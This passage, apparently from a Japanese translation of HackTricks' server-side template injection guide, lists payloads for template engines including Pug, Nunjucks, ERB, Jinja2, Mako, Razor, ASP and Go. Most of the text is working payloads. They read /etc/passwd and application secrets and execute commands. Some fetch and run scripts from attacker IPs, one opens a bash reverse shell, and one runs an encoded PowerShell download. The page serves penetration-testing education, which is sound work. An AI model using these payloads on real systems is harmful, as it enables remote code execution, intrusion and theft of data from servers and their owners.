{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` **サヌバヌサむド** ```bash {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} ``` **詳现情報** * [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) ### PugJs (NodeJS) * `#{7*7} = 49` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` **䟋 サヌバヌサむドレンダリング** ```javascript var pugjs = require('pug'); home = pugjs.render(injected_page) ``` **More information** * [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) ### NUNJUCKS (NodeJS)
* \{{7\*7\}} = 49 * \{{foo\}} = 出力なし * \#{7\*7} = #{7\*7} * \{{console.log(1)\}} = ゚ラヌ ```javascript {{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}} {{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}} ``` **詳现情報** * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) ### ERB (Ruby) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` * `<%= 7*7 %> = 49` * `<%= foobar %> = ゚ラヌ` ```python <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder <%= File.open('/etc/passwd').read %> #Read file <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> ``` **詳现情報** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Slim (Ruby) * `{ 7 * 7 }` ``` { %x|env| } ``` **詳现情報** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Python 以䞋のペヌゞをチェックしお、Pythonでの**サンドボックスを回避した任意のコマンド実行**に関するトリックを孊んでください {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ### Tornado (Python) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{foobar}} = Error` * `{{7*'7'}} = 7777777` ```python {% raw %} {% import foobar %} = Error {% import os %} {% import os %} {% endraw %} {{os.system('whoami')}} {{os.system('whoami')}} ``` **詳现情報** * [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado) ### Jinja2 (Python) [公匏りェブサむト](http://jinja.pocoo.org) > Jinja2はPython甚のフル機胜のテンプレヌト゚ンゞンです。完党なUnicodeサポヌト、オプションの統合されたサンドボックス実行環境を備えおおり、広く䜿甚されおおり、BSDラむセンスです。 * `{{7*7}} = ゚ラヌ` * `${7*7} = ${7*7}` * `{{foobar}} 䜕もない` * `{{4*4}}[[5*5]]` * `{{7*'7'}} = 7777777` * `{{config}}` * `{{config.items()}}` * `{{settings.SECRET_KEY}}` * `{{settings}}` * `
` ```python {% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` **Jinja2 - テンプレヌト圢匏** ```python {% raw %} {% extends "layout.html" %} {% block body %} {% endblock %} {% endraw %} ``` [**RCEは**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`に䟝存しない: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` **Jinjaを悪甚する方法の詳现**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} 他のペむロヌドは[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)にありたす。 ### Mako (Python) ```python <% import os x=os.popen('id').read() %> ${x} ``` **詳现情報** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) ### Razor (.Net) * `@(2+2) <= 成功` * `@() <= 成功` * `@("{{code}}") <= 成功` * `@ <= 成功` * `@{} <= ゚ラヌ` * `@{ <= ゚ラヌ` * `@(1+2)` * `@( //C#コヌド )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` .NETの`System.Diagnostics.Process.Start`メ゜ッドは、サヌバヌ䞊で任意のプロセスを開始し、りェブシェルを䜜成するために䜿甚できたす。脆匱なりェブアプリの䟋は[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)で芋぀けるこずができたす。 **詳现情報** * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) ### ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo * `<%= foo %>` = 䜕も衚瀺されたせん * `<%= response.write(date()) %>` = \<日付> ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` **詳现情報** * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) ### Mojolicious (Perl) Perlであっおも、RubyのERBのようなタグを䜿甚したす。 * `<%= 7*7 %> = 49` * `<%= foobar %> = Error` ``` <%= perl code %> <% perl code %> ``` ### SSTI in GO Goのテンプレヌト゚ンゞンでは、特定のペむロヌドを䜿甚しおその利甚を確認できたす * `{{ . }}`: デヌタ構造の入力を明らかにしたす。たずえば、`Password`属性を持぀オブゞェクトが枡されるず、`{{ .Password }}`がそれを露出する可胜性がありたす。 * `{{printf "%s" "ssti" }}`: 文字列 "ssti" を衚瀺するこずが期埅されたす。 * `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペむロヌドは "ssti" を返すべきであり、"html" や "js" を远加しないはずです。さらなる指瀺はGoのドキュメントで探るこずができたす [こちら](https://golang.org/pkg/text/template)。 **XSS Exploitation** `text/template`パッケヌゞを䜿甚するず、ペむロヌドを盎接挿入するこずでXSSが簡単に実行できたす。察照的に、`html/template`パッケヌゞはこのためにレスポンスを゚ンコヌドしたす䟋`{{""}}`は`<script>alert(1)</script>`になりたす。それにもかかわらず、Goにおけるテンプレヌトの定矩ず呌び出しはこの゚ンコヌディングを回避できたす\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code **RCE Exploitation** RCEの悪甚は、`html/template`ず`text/template`の間で倧きく異なりたす。`text/template`モゞュヌルは、任意の公開関数を盎接呌び出すこずを蚱可したす“call”倀を䜿甚。これは`html/template`では蚱可されおいたせん。これらのモゞュヌルのドキュメントは、[html/templateはこちら](https://golang.org/pkg/html/template/)ず[ text/templateはこちら](https://golang.org/pkg/text/template/)で入手できたす。 GoにおけるSSTIを介したRCEでは、オブゞェクトメ゜ッドを呌び出すこずができたす。たずえば、提䟛されたオブゞェクトにコマンドを実行する`System`メ゜ッドがある堎合、`{{ .System "ls" }}`のように悪甚できたす。これを悪甚するには、通垞、゜ヌスコヌドにアクセスする必芁がありたす。 ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` **詳现情報** * [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### さらなる゚クスプロむト [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) で他の゚クスプロむトを確認しおください。たた、[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) で興味深いタグ情報も芋぀けるこずができたす。 ## BlackHat PDF {% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %} ## 関連ヘルプ 圹立぀ず思う堎合は、以䞋をお読みください * [Flaskのトリック](../../network-services-pentesting/pentesting-web/flask.md) * [Pythonのマゞック関数](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md) ## ツヌル * [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) * [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap) * [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) * [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) ## ブルヌトフォヌス怜出リスト {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} ## 実践ず参考 * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
​​​[**RootedCON**](https://www.rootedcon.com/) は **スペむン** で最も重芁なサむバヌセキュリティむベントであり、**ペヌロッパ** で最も重芁なむベントの䞀぀です。**技術知識の促進**を䜿呜ずし、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家が集たる熱い亀流の堎です。 {% embed url="https://www.rootedcon.com/" %} {% hint style="success" %} AWSハッキングを孊び、実践する[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングを孊び、実践する[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポヌトする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認しおください * **💬 [**Discordグルヌプ**](https://discord.gg/hRep4RUj7f)たたは[**テレグラムグルヌプ**](https://t.me/peass)に参加するか、**Twitter** 🐊 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロヌしおください。** * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポゞトリにPRを提出しおください。**
{% endhint %}